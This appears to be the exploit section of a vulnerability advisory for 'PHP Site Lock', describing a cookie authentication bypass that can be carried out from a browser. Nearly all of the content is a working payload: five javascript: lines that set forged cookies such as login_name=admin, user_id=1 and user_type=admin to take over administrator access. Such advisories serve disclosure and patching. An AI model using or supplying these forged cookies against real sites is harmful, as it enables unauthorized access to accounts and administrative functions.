• info
• discussion
• exploit
• solution
• references

PHP Site Lock Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following example data is available:

javascript:document.cookie="login_id=0;path=/";
javascript:document.cookie="group_id=1;path=/";
javascript:document.cookie="login_name=admin;path=/";
javascript:document.cookie="user_id=1;path=/";
javascript:document.cookie="user_type=admin;path=/";